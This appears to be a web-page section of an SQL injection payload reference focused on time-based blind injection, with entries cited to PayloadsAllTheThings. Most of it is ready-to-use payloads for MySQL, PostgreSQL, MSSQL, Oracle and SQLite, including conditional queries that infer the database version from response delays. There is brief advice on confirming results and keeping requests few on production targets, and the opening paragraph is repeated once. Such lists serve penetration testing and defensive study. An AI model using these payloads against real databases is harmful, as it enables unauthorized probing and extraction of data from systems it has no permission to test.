Time delay
Time-based blind
' AND SLEEP(5)-- Observe response delay (~5s).
PayloadsAllTheThings referenceTime-based blind injection is the last resort: the response never changes, so you infer true/false from how long the database takes to answer. Each engine has its own delay primitive, which also makes a reliable fingerprint. Use conservative delays and few requests on production targets — this technique is noisy and slow.
How to confirm: A conditional delay payload makes the response take roughly your configured number of seconds when the condition is true, and returns immediately when it is false.
Time-based blind
' AND SLEEP(5)-- Observe response delay (~5s).
PayloadsAllTheThings referenceTime-based blind
' AND IF(SUBSTRING(VERSION(),1,1)='5',BENCHMARK(1000000,MD5(1)),0)-- Heavy query when condition is true.
PayloadsAllTheThings referenceTime-based blind
' AND (CASE WHEN (SUBSTRING(VERSION(),1,1))='5' THEN (SLEEP(5)) ELSE 0 END)-- Delay when char at position 1 equals 5.
PayloadsAllTheThings referenceTime-based blind
' AND pg_sleep(5)-- Observe response delay (~5s).
PayloadsAllTheThings referenceTime-based blind
' AND (CASE WHEN (SUBSTRING(version() FROM 1 FOR 1))='5' THEN (pg_sleep(5)) ELSE 0 END)-- Delay when char at position 1 equals 5.
PayloadsAllTheThings referenceTime-based blind
' AND WAITFOR DELAY '00:00:05'-- Observe response delay (~5s).
PayloadsAllTheThings referenceTime-based blind
'; WAITFOR DELAY '00:00:05'-- Stacked-style delay on MSSQL.
PayloadsAllTheThings referenceTime-based blind
' AND (CASE WHEN (SUBSTRING(@@VERSION,1,1))='5' THEN (WAITFOR DELAY '00:00:05') ELSE 0 END)-- Delay when char at position 1 equals 5.
PayloadsAllTheThings referenceTime-based blind
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- Observe response delay (~5s).
PayloadsAllTheThings referenceTime-based blind
' AND (CASE WHEN (SUBSTR((SELECT banner FROM v$version WHERE ROWNUM=1),1,1))='5' THEN (DBMS_PIPE.RECEIVE_MESSAGE('a',5)) ELSE 0 END)-- Delay when char at position 1 equals 5.
PayloadsAllTheThings referenceTime-based blind
' AND randomblob(500000000)-- Observe response delay (~5s).
PayloadsAllTheThings referenceTime-based blind
' AND (CASE WHEN (SUBSTRING(sqlite_version(),1,1))='5' THEN (randomblob(500000000)) ELSE 0 END)-- Delay when char at position 1 equals 5.
PayloadsAllTheThings reference